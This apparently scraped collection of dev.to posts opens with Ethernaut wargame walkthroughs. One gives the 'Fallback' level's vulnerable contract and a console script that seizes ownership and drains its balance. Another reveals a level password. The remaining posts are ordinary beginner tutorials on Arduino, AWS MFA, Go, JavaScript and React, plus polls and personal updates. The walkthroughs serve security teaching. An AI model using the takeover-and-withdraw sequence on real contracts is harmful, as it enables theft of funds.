teleren/devto huggingface dataset:
Ethernaut: 1. Fallback
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:23:00

[Play the level](https://ethernaut.openzeppelin.com/level/0x9CB391dbcD447E645D6Cb55dE6ca23164130D008)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
    require(
      msg.sender == owner,
      "caller is not the owner"
    );
    _;
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}
```

The receive function is flawed, we just need to send some value via contribute and then via receive to change the owner. The contribute requires less than 0.001 ether, and receive expects greater than 0. Here is the plan:

1. We will contribute 1 Wei.
2. We will then send money to the contract address via a fallback function. This can be done by calling a non-existent function in the contract with some ether value.
3. We are now the owner!
4. To deal the final blow, we call the `withdraw` function. By only spending 2 Wei, we got the owners balance :)

```js
// (1) Contribute
await contract.contribute({value: "1"})

// (2) Fallback
await contract.sendTransaction({
  from: player, 
  value: "1", 
  data: undefined // for the fallback
})

// (3) Confirm ownership
await contract.owner()

// (4) Withdraw
await contract.withdraw()
```
Ethernaut: 0. Hello Ethernaut
Tags: solidity, ethereum, openzeppelin, security
Published: 2022-07-16 14:22:14

[Play the level](https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966)

Welcome! It is going to be a long but immensely educational road. This level prepares you on how to use the console. Start by typing `help()`! Get comfortable with the commands you see there. You will need some test ether too, so please do visit the faucets linked there and get some ether!

1. To start, click on the big blue button to get a new level instance. This will be your target contract on all puzzles. You will be doing stuff to it, hijacking it's ownership, draining its balance and whatever!

2. The rest of the level starts by calling `contract.info()`. In Chrome v62 (or Brave browser), you can use `await` in the console. That makes things a lot easier; call `await contract.info()`. Note that once you get to `contract.` the console will show you the properties of the contract object, and there are a bunch of functions there!

3. It tells us that we have what we need in `info1()`. So naturally, we will call `await contract.info1()`.

4. We are told to call `info2()` with `"hello"` parameter! We do so with `await contract.info2("hello")`.

5. We are told to check the `infoNum()` property. When we do so with `await contract.infoNum()` we get some weird stuff back in our console. What the hell is this?? Fret not, tis a mere [BigNumber object](https://web3js.readthedocs.io/en/v1.2.11/web3-utils.html#bn). You can convert it to a number or string via `toNumber()` or `toString()`. Once we do so, we see that it denotes the number 42.

```js
{
  negative: 0,
  words: [
    42,
    // empty
  ],
  length: 1,
  red: null
}
```

6. We know what to do already, let's call `await contract.info42()`. We see that we should have called `theMethodName` instead.

7. So we do: `await contract.theMethodName`. Oh, we need to call `method7123949` instead!

8. Once we call `await contract.method7123949()`, we see the following message: "If you know the password, submit it to `authenticate()`". Do we know the password? There certainly seems to be a `password()` function as a property of our `contract` object, so let's call it!

9. After `await contract.password()` we get the password as `ethernaut0`. Submitting this to `await contract.authenticate("ethernaut0")` prompts us to confirm a transaction!

Once that is mined, we seem to have nothing more to do. As the next natural thing to do, we may as well submit our instance (the orange button). Indeed, that is the end of the level! Congratulations, you are now ready for the real deal.
Poll 4 : First programming language ?
Tags: discuss, community, poll
Published: 2022-07-16 14:10:40

## 🤩 What was your first programming language ?
1. ⚙ C/C++
2. ☕ Java
3. 🐍 Python
4. 🔥 JavaScript

Click here 👇 to answer ❗ and comment 💭 below why you think so ❓


[![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x6bysb9j8k4wckwve35d.png)](https://twitter.com/heydrdev/status/1548308192471314435)
---

Let's connect together 🤝, post your favorite dev article and tag me on twitter. I will retweet and give you my honest opinion 😇

[![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hi9jmkirwc9g9ppwbc1o.png)](https://twitter.com/heydrdev)
Hardhat introduction
Tags: programming, web3, blockchain, webdev
Published: 2022-07-16 14:08:59

I have started putting the small introduction or getting started videos on youtube shorts. It's a good way to convey the small information straight away to the users inbox, now users don't need to read even 2-4 minutes articles to get only the introduction of the topics.

In today's story, introduction to hardhat, the smart contracts framework for Ethereum network. 

[Hardhat introduction](https://www.youtube.com/shorts/KQqB1v9YgTU)

Let me know how was the video, if you want more such content, you can check the links below.

Our website [iHateReading](www.ihatereading.in) || [Youtube](https://www.youtube.com/channel/UC6I-Tz6QwYbJpoIK7l0NtXA) || [Twitter](https://twitter.com/treyvijay)

Until next time, have a good day, people.
Advanced voice controlled robot
Tags: beginners, arduino, tutorial
Published: 2022-07-16 14:04:59

In this blog, I will show you how to build an advanced voice controlled robot with HC-05 bluetooth module and an Arduino microcontroller.

![arduino voice](https://cdn.hashnode.com/res/hashnode/image/upload/v1655971985544/TR3uZkioi.png)

### Components required 

- Arduino UNO 
- HC-05
- Gear Motors 
- IC L293D

### Arduino UNO
Arduino is an opensource electronics platform based on easy-to-use hardware and software. Arduino boards are able to read inputs - light on a sensor , a finger on a button , or a twitter message - and turn it into an output - activating a motor , turning on a LED , publishing something online. To do so use the Arduino programming language (based on wiring) and the Arduino Software (IDE) based on processing.

### HC-05 Bluetooth module
The HC-05 is a popular wireless module that can add two-way (full-duplex) functionality to your projects. You can use this module to communicate between two microcontrollers, such as Arduino, or to communicate with any Bluetooth-enabled device, such as a phone or laptop. Many Android applications are already available, making this process much easier.

### Gear Motors
It is a DC motor with a gear box for decreasing the speed and increasing the torque and power . This type of motors is commonly used for robotic applications.

### IC L293D
IC L293D is a dual H-bridge motor driver integrated circuit that can drive current of up to 600mA with voltage range of 4.5 to 36 volts.

![L293D.webp](https://cdn.hashnode.com/res/hashnode/image/upload/v1655970162393/7HKwFwgpm.webp)


You can use any bluetooth mobile app available in playstore to connect you mobile to bluetooth module. 

### Code 
```c 
#include<SoftwareSerial.h>
int motorPin1 = 3;
int motorPin2 = 4;
int motorPin3 = 5;
int motorPin4 = 6;
SoftwareSerial BT(11, 12);
String readvoice;
void setup() {
  BT.begin(9600);
  Serial.begin(9600);
  pinMode(3, OUTPUT);
  pinMode(4, OUTPUT);
  pinMode(5, OUTPUT);
  pinMode(6, OUTPUT);
}

void loop() {
  while (BT.available()) {
    delay(10);
    char c = BT.read();
    readvoice += c ;
  }
  if (readvoice.length() > 0) {
    Serial.println(readvoice);
    if (readvoice == "forward") {
      digitalWrite(3, HIGH);
      digitalWrite(4, LOW);
      digitalWrite(5, HIGH);
      digitalWrite(6, LOW );
      delay(100);
    }
    else if (readvoice == "backward") {
      digitalWrite(3, LOW);
      digitalWrite(4, HIGH);
      digitalWrite(5, LOW);
      digitalWrite(6, HIGH );
      delay(100);
    }
    else if (readvoice == "right") {
      digitalWrite(3, LOW);
      digitalWrite(4, HIGH);
      digitalWrite(5, HIGH);
      digitalWrite(6, LOW );
      delay(100);
    }
    else if (readvoice == "left") {
      digitalWrite(3, HIGH);
      digitalWrite(4, LOW);
      digitalWrite(5, LOW);
      digitalWrite(6, HIGH );
      delay(100);
    }
    else if (readvoice == "stop") {
      digitalWrite(3, LOW);
      digitalWrite(4, LOW);
      digitalWrite(5, LOW);
      digitalWrite(6, LOW );
      delay(100);
    }
    readvoice = "";
  }
}
```
VS Code Experience
Tags: vscode, programming, tech
Published: 2022-07-16 13:46:03



##_What is VS Code?_
VS Code or Visual Studio Code in full is an open-source code editor that can be used to view, edit, run and debug source code for websites or applications. 

Created in April of 2015 by Microsoft, this platform enables a web developer or programmer(s) to code in various programming languages such as Java, JavaScript, C++, Python and more. 

HTML, a markup language as well is available for use. CSS is not available on VS code, but you can write it using VS code.


##_How I found out about VS Code_
My first encounter with Visual Studio Code occurred in 2019 when I was a 2nd year diploma student at KCA University. 

Initially I took a break from it up until last year September, where I found it to be the most useful code editor when making a website from scratch for a class assignment for a unit called Web Programming in IT at Kabarak University. 


##_Features_
During the process of creating the website I took notice of the following amazing features that VS Code provides: 

Live Preview - This feature allows a coder to preview the webpage for an html or JavaScript file.

![This is a screenshot of a page of code on the left and its output on the right.](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wox1ay772s3a2yay7gys.png)

Extensions - Is another feature in visual studio code that allows a coder to customize your project and improve the project’s productivity. 
For example, extensions can program in java can be run and debugged through the use of extensions. 

![A screenshot of a program in Java] (https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3th6dk74gin2ns1yujz2.png)

Intelli-Sense - Detects if a part of a code is incorrect or incomplete.
![A screenshot of a page of codes in HTMl](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xle4nd78wdnc8xurklyz.png)


##_Advantages of Using VS Code_
1. Debugging - VS Code inbuilt debugger assists a writer to accelerate his or her coding edit, compile and debug loop.
2. Customization - A programmer can customize a code any way he or she sees fit in a program.
3. Code Management Features - Features such as Peek Definition and Go Definition can be used to format javascript code as well as code of other languages.


##_Conclusion_
So far Visual Studio Code is the simplest and most convenient code editor I have ever used. 
I recommend it to beginners learning to code for the first time as well as veteran programmers in the tech realm.
Enabling MFA in your root AWS account
Published: 2022-07-16 13:41:56

Multi-factor authentication is an additional layer of security used for  Security, Identity, & Compliance to ensure your account resources are accessed by the right personnel.

After setting up your AWS account it is best practice at the root account to establish a Multi-factor authentication

STEPS TO FOLLOW WHEN SETTING UP MFA

1. Navigate to security credentials. this is located at the dropdown menu with the sign-out button. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ttd5nmlz1t8ek9oxgcyi.png)
A new page emerges under resource groups.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qmy8y6zxdd0zp8gvobb8.png)
A splash screen appears after clicking on the Multi-factor authentication.
You are provided with three options to choose from

A) Virtual MFA Device
This is a device with the right authentication software for example Google authenticate is a mobile application that you can integrate with your AWS account.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y3nwp2mbntblc0t7h4y5.png)
google authenticate on devices

B) U2F security key
Universal Two Factor Authentication are device like  specialized Universal Serial Bus (USB) or near-field communication (NFC) devices based on similar security technology found in smart cards.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s8iul7hxzajdhu79c2vg.png)
A U2F device

c) Other hardware with MFA tokens
This are other devices that have encrypted keys for Multi-factor authentication.


In this case having a software in your device would be the preferred option as it does not require caring and misplacing small devices like in the U2F devices.

After using an application like google authenticator, the nrxt log in will prompt you for a multifactor code from your device as shown below.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t32aqdtp72k5er7evraz.png)
I hope this article was inciteful as you begin your AWS journey.
Help with integrating Angular into an Angular JS webapp
Tags: javascript, typescript, angular, beginners
Published: 2022-07-16 13:01:05

Hello - I am passingly familiar with JavaScript and don’t know Angular JS, Angular, or TypeScript. We have a webapp which uses Angular JS on the front-end and Java on the back-end. Since Angular JS is being sunsetted, we are seriously considering migrating to a new framework. I have decided on going with Angular and have done as much reading as I can on migration approaches. I’ve decided that the low-hanging fruit approach is best, given my lack of knowledge at present. So, I have selected the **Contact Us** page of our application as a Proof of Concept candidate. It is one small HTML page and one simple controller component. As part of my efforts to learn Angular, I installed it using **npm** and then created a skeleton project using **ng**. My questions are:

- How do I include Angular into my project so that I can start using it?  

- Which files do I need to include and how do I reference them in my code? I’m thinking of how Angular JS is included with a _script_ tag in HTML. 

- How will the Angular JS code access the Angular component?  I can see in _app.JS_ that there is a **state** for the **Contact Us** page - how does that change?

- What are the best sources to learn Angular and TypeScript? I’m looking at a site called PluralSoft but don’t know much about it. 

- Should I invest time and money in learning Angular JS or can I just focus on jumping in to Angular and TypeScript?

This is a project which my team inherited without documentation and without considering the skill set of the team. 

Thanks in advance to all who respond. 

Kevin
Go Course: Useful Commands
Tags: go, tutorial, beginners
Published: 2022-07-16 12:47:36


During our module discussion, we discussed some go commands related to go modules, let's now discuss some other important commands.

Starting with `go fmt`, which formats the source code and it's enforced by that language so that we can focus on how our code should work rather than how our code should look.

```bash
$ go fmt
```

This might seem a little weird at first especially if you're coming from a javascript or python background like me but frankly, it's quite nice not to worry about linting rules.

Next, we have `go vet` which reports likely mistakes in our packages.

So, if I go ahead and make a mistake in the syntax, and then run `go vet`.

It should notify me of the errors.

```bash
$ go vet
```

Next, we have `go env` which simply prints all the go environment information, we'll learn about some of these build-time variable later.

Lastly, we have, `go doc` which shows documentation for package or symbol, here's an example of the format package.

```bash
$ go doc -src fmt Printf
```

Let's use `go help` command to see what other commands are available.

```bash
$ go help
```

As we can see, we have:

`go fix` finds Go programs that use old APIs and rewrites them to use newer ones.

`go generate` is usually used for code generation.

`go install` compiles and install packages and dependencies.

`go clean` is used for cleaning files that are generated by compilers.

Some other very important commands are `go build` and `go test` but we will learn about them in detail later in the course.

---

_This article is part of my open source [Go Course](https://www.karanpratapsingh.com/courses/go) available on Github._

{% github karanpratapsingh/go-course %}
Functions as First-Class Citizens in Javascript
Tags: javascript, webdev, react, typescript
Published: 2022-07-16 12:39:12

Before diving into the topic let me give you some context about functions in Javascript.

Functions in Javascript are beautiful. They are the heart of Javascript and probably everything in Javascript runs on the chariot called **FUNCTIONS**.

Let us first understand what is are Function Statements and Function Expressions.

### Function Statements

Function Statements are when you create a function and you give it a name. It simply means declaring a function with the `function` keyword and giving it a name.

```javascript
function add() {
    // logic goes here
}
```

The above code snippet is nothing but a **Function Statement**. It is also important to remember that Function Statements are also **Function Declarations**.

So, whenever someone asks you what is a Function Statement or a Function Declaration it is the same.

### Function Expressions

When functions are assigned to a variable they become Function Expressions.

```javascript
var a = function() {
    // logic goes here
}
```

The above code snippet is an example of a **Function Expression**.

The function we used here in the above example is an anonymous function. 

It is important to notice that anonymous functions look like function statements but they are not.

```javascript
function () {
    // logic goes here
}
```

The above code snipped when complied would throw a `SyntaxError`.

So, what exactly are anonymous functions?

Anonymous functions are generally used as values. In the above example we have used an anonymous function as a value to assign it to variable `a`. 

We also use anonymous functions as a callback function (inside setTimeout). 

There are also another kind of function expressions which are named function expressions. Instead of using anonymous functions we give the function a name.

```javascript
var a = function add() {
    // logic goes here
}
```

The above code snippet is an example of named function expression.

Now, finally coming to the topic. Functions in Javascript supports all operational properties inherent to other entities. They can be assigned to a variable, passed as an argument to another function (setTimeout), they can also be returned from another function. Basically functions can do whatever every other entity on Javascript does. Hence, the name **First-Class Citizens**.

I hope this article helps. If you have any questions reach me out on [Github](https://github.com/rak-shit) and [LinkedIn](https://www.linkedin.com/in/mrakshit/).

Follow me on [Twitter](https://twitter.com/mRakshit_)

Also, please do check out [Boot.dev](https://boot.dev/). Boot.dev is a computer science program. You learn the same kinds of things that you would learn in a 4-year degree from college.

Have a nice day :)
Rerender react element
Tags: webdev, javascript, beginners, programming
Published: 2022-06-29 16:58:40

Day 10 of #100daysofcode

Today we will learn about rendering in react.
Our initial code will be :
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cg41njx9ujf8lsdege4a.png)
 
As you can see, we have our `rootelement`, followed by a `time` variable that returns local time. Following that, we have a variable `element` that displays our time in `div`. The element is then rendered in `rootelement`.

If you run this code, you will notice that the time does not change continuously, but you must refresh the page for the time to be displayed correctly. We will need to write this for it.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/igrtw4g8d1sb5xdazp7n.png)

You can see that we have our code in `function tick` and have `setInterval` to run every second. The time will now be displayed appropriately without the need to reload the website.

You may be wondering what the point of this is. If you look at the code, you'll notice that our `div` is changing all the time.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f80lbo6j01v6k7f36wtd.png)
 

Let's create some additional code to figure out what's going on.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/249h7he4vyg04xbpb468.png)

We used `react.Fragment (<></>)` to have two `divs` one after the other. Let us now examine the code.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vxxz0dt9onndireuduwc.png) 

You can notice that only our `time div` is rendering repeatedly. Because only what has to be rendered over and again is rendered, our page does not slow down.

That's all for now.
If you found this useful, please follow me on Twitter at [@Hxrshxd](https://twitter.com/Hxrshxd) for more.
Day 49 and 50 of coding complete 👨🏻‍💻
Tags: webdev, beginners, programming, 100daysofcode
Published: 2022-07-16 12:31:32

Day 49 & 50 completed. Couldn’t find time to post an update. I finished building the technical page on the html side. Now I’m working more on the CSS styling of the page to practice more with that. 6 more lessons & I’m done with the course!
Follow for Follow (Github)
Published: 2022-07-16 12:19:15

Hello Devs, am new to this community
Am also new to the Dev world
So excited to be here
Just started taking development seriously
Please follow me on Github, I follow back instantly
Also, please shoot me an inbox if your into anything javascript
New to React-Js, loving it tho

https://github.com/samuel-ma


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bgd22v58zpaqjzn7jhwq.PNG)